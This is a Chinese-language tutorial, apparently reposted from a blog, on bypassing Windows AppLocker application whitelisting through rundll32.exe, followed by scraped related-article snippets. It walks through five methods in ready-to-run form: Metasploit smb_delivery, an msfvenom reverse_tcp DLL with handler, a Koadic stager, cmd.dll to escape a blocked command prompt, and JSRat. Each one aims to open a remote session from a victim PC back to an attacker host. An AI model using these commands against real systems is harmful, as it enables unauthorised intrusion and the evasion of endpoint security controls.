使用rundll32.exe绕过应用程序白名单(多种方法)
0x00 前言
DLL文件对于Window的操作系统非常重要,它还决定了自定义Windows的其他程序的运行。动态链接库(DLL)文件是一种文件类型,它向其他程序提供有关如何调用某些内容的指令。因此,多个软件甚至可以同时共享这样的DLL文件。尽管与.exe文件的格式相同,但DLL文件不能像.exe文件那样直接执行。dll文件扩展名可以是:.dll(动态链接库)、.ocx(ActiveX控件)、.cpl(控制面板)、.drv(设备驱动程序)
0x01 运行
当AppLocker使用时,DLL文件被分为多个部分。这使得DLL文件的运行变得简单快捷。每个部分都在运行时安装在主程序中。由于每个部分都不同且独立的,所以加载时间更快,并且仅在需要所述文件的功能时才完成。此功能还使升级更容易应用,而不影响其他部分。例如,您有一个字典程序,每个月都会添加新词,因此,对于这个程序,您所要做的就是更新它;而不需要为它安装一个完整的另一个程序。
1.优点
- 使用更少的资源
- 促进模块化架构
- 简化部署和安装
2.缺点
- 依赖DLL将升级到新版本
- 依赖DLL是固定的
- 依赖DLL将被早期版本覆盖
- 从计算机中删除依赖dll
0x02 使用DLL文件的AppLocker Bypass的不同方法
- Smb_Delivery
- MSFVenom
- Koadic
- 通过cmd.dll获取命令提示符
- JSRat
1.第一种方法:SMB Delivery
因此,我们的方法是使用smb_delivery。要使用此方法,请在kali中打开终端并键入以下命令:msfconsole
use exploit/windows/smb/smb_delivery msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.107 msf exploit(windows/smb/smb_delivery) > exploit
现在,通过Windows计算机中的rundll32.exe运行恶意代码以获取meterpreter会话
当上述payload执行时,它将为您提供一个在受害者PC上执行的命令; 以便获得会话。因此,在受害者PC的运行窗口中复制并粘贴指定的命令,如下图所示:
rundll32.exe \\192.168.1.107\ZtmW\test.dll,0
一旦执行该命令,您将拥有meterpreter会话。要访问会话类型如下所示:
sessions 1 sysinfo
2.第二种方法:MSFVenom
我们的第二种方法是通过MSFVenom。要使用此方法,请在kali的终端中键入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 -f dll > 1.dll
创建payload后,在受害者PC的运行窗口中运行以下命令:
rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\1.dll
同时,通过输入以下命令启动multi/handler以获取会话,输入命令:msfconsole
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 192.168.1.107 msf exploit(multi/handler) > set lport 1234 msf exploit(multi/handler) > exploit
3.第三种方法:Koadic
我们的下一个方法是使用Koadic框架。Koadic是一个Windows后期开发的rootkit,类似于其他渗透测试工具,如meterpreter和PowerShellEmpire。要了解更多关于Koadic的信息,请通过以下链接阅读我们关于上述框架的详细文章:https://www.hackingarticles.in/koadic-com-command-control-framework
一旦koadic启动并运行,输入以下命令:
use stager/js/rundll32_js set SRVHOST 192.168.1.107 run
运行exploit 将获得一个命令。将该命令从rundll32.exe复制到6.0中,并将其粘贴到受害者pc的命令提示符中。
一旦在cmd中运行了该命令,您将拥有自己的会话。如下图所示。
要访问会话,请输入以下命令:
zombies 0
4.第四种方法:通过cmd.dll获取命令提示符
现在的难题是,如果命令提示在受害者的主机中被阻止,该怎么做?
如果命令行被阻止,那么Didier Stevens开发的脚本可以用来解决你的小问题。您可以在以下链接中找到它们:
http://didierstevens.com/files/software/cmd-dll_v0_0_4.zip
在上面的URL中,您将下载一个zip文件。解压缩该zip文件并使用以下命令在运行窗口中运行该文件:
rundll32 shell32.dll,Control_RunDLL C:\Users\raj\Downloads\cmd.dll
一旦运行该命令,您将获得一个未阻止的cmd。如下所示:
5.第五种方法:JSRat
我们攻击regsvr32的下一个方法是使用jsrat,你可以从GitHub下载它。这是另一个命令和控制框架,类似于koadic和Powershell Empire,仅为rundll32.exe和regsvr32.exe生成恶意程序。jsrat将创建一个Web服务器,在该Web服务器上,我们将找到.js文件。要使用此方法,请输入:
/JSRat.py -i 192.168.1.107 -p 4444
一旦JSRat开始运行,它将为您提供在浏览器中打开的链接。该网页将包含一个要在受害者主机上执行的代码
因此,请在浏览器中打开http://192.168.1.107/wtf链接。在那下面你会查看到恶意的代码,如下图所示:
在受害者PC的命令提示符中运行该代码,如下所示:
您将拥有一个会话,如下图所示:
0x03 总结
DLL文件是各种代码和过程的集合。这些文件有助于Windows程序准确执行。这些文件是为多个程序创建的,以便同时使用它们。这种技术有助于减少内存使用。因此,这些文件非常重要,并且要求Windows正常运行而不会给用户带来任何问题。因此,通过这些文件进行利用是非常有效和致命的。以上介绍的方法是不同的方法的利用。
转载于:https://www.cnblogs.com/backlion/p/10488747.html
使用rundll32.exe绕过应用程序白名单(多种方法)相关推荐
- 使用mshta.exe绕过应用程序白名单(多种方法)
0x00 简介 很长一段时间以来,HTA文件一直被web攻击或在野恶意软件下载程序用作恶意程序的一部分.HTA文件在网络安全领域内广为人知,从红队和蓝队的角度来看,它是绕过应用程序白名单有价值的&qu ...
- Linux中msiexec无法运行,使用msiexec.exe绕过应用程序白名单(多种方法)
0x01 Applocker适用的关联文件格式 Windows AppLocker是在Windows 7和Windows Server 2008 R2中引入的一种安全策略,用于限制不需要的程序的使用. ...
- 应用白名单:方法与挑战
应用白名单:方法与挑战 这是关于白名单的第二篇文章,对白名单的一些方法和面临的问题进行了一些分析,也是属于概念范畴. 文章地址:https://www.researchgate.net/publica ...
- (谷歌)Chrome浏览器添加扩展程序白名单
谷歌浏览器添加扩展程序白名单 1. 下载文件 下载后解压,得到 chrome.adm 点击下载 2.安装文件 Win+R 打开运行,输入 gpedit.msc,确定: 依次展开 本地计算机策略 > ...
- 绕过惠普白名单换无线网卡
人生的第一个笔记本用了十几年了,惠普G4 tx1207 ,最近给他全面升了个级,首先是内存条加到双通道16G,其次光驱改硬盘加了一个固态硬盘,这时候用起来已经很流畅了,后来又把 cpu 换成i7的了. ...
- 微软小娜打开应用程序_利用您现有的Microsoft投资进行应用程序白名单
微软小娜打开应用程序 Application Whitelisting? What Is It? 应用白名单? 它是什么? I consider a firewall to be a Yes / No ...
- [monkey]monkey只跑白名单页面方法
背景:我们在跑monkey时,可能APP里配置了广告或是其他就跳走了,回不来了,导致测的是百度或是系统页面,下面介绍一种只跑白名单的方法,如果跳到其他页面,就会被"拽"回来. 一. ...
- 百度地图AK鉴权说明与白名单设置方法
百度地图AK鉴权说明与白名单设置方法 问题 百度地图开放平台提供的ak分类说明 浏览器端 微信小程序 服务端 ios应用.Android应用: 问题排查 鉴权测试 问题 近期网站经常会提示未授权使用百 ...
- linux添加ip白名单_centOS7 下利用iptables配置IP地址白名单的方法
编辑iptables配置文件,将文件内容更改为如下,则具备了ip地址白名单功能 #vim /etc/sysconfig/iptables *filter :INPUT ACCEPT [0:0] :FO ...
最新文章
- 如何关闭vue项目中eslint的校验
- MySQL-Front,MySQL的企业管理器
- web前端攻城狮整理的收藏夹
- java消息推送怎么实现_调用钉钉接口实现机器人推送消息
- 【docker】linux系统centOS 7上安装docker
- tomcat 系统访问日志配置
- 数据结构--图的广度优先搜索
- 写sql语句的经验之谈
- 进程,线程和协程 并行与并发
- java 解析excle
- 条码软件如何自定义设置条形码尺寸
- 每天有8千人在逃离北上广!扎心不?
- Rocky Linux Yum源替换位上海交大镜像站点
- 基于TIA博途的顺序队列(FIFO)先进先出SCL算法程序(V15版本)
- XAMPP的下载与安装
- 光驱全介绍(包括dvd-supermulti rambo cambo)
- 学堂在线答案计算机应用基础,2018计算机应用基础随堂练习与答案.pdf
- 稳定匹配婚姻 c++版GS算法
- 流量消费透明化成为运营商新课题
- Java迷你图书管理器1.2-面向对象+I/O流
热门文章
- react 使用rewired_create-react-app 通过 react-app-rewired 添加 webpack 的 alias
- char转化为cstring_C语言100题集合001-将一个数字字符串转换为一个整数
- 双硬盘 双linux系统同时运行,XP与linux 双硬盘 双启动管理
- log4j.xml示例_log4j.xml示例配置
- android生命周期_Android活动生命周期– 7个阶段和功能
- Java中的会话管理– HttpServlet,Cookie,URL重写
- Android Wear Hello World
- 使用Kotlin的Android ToggleButton
- 全栈工程师与架构师的区别是什么?
- C++基础教程,基本的输入输出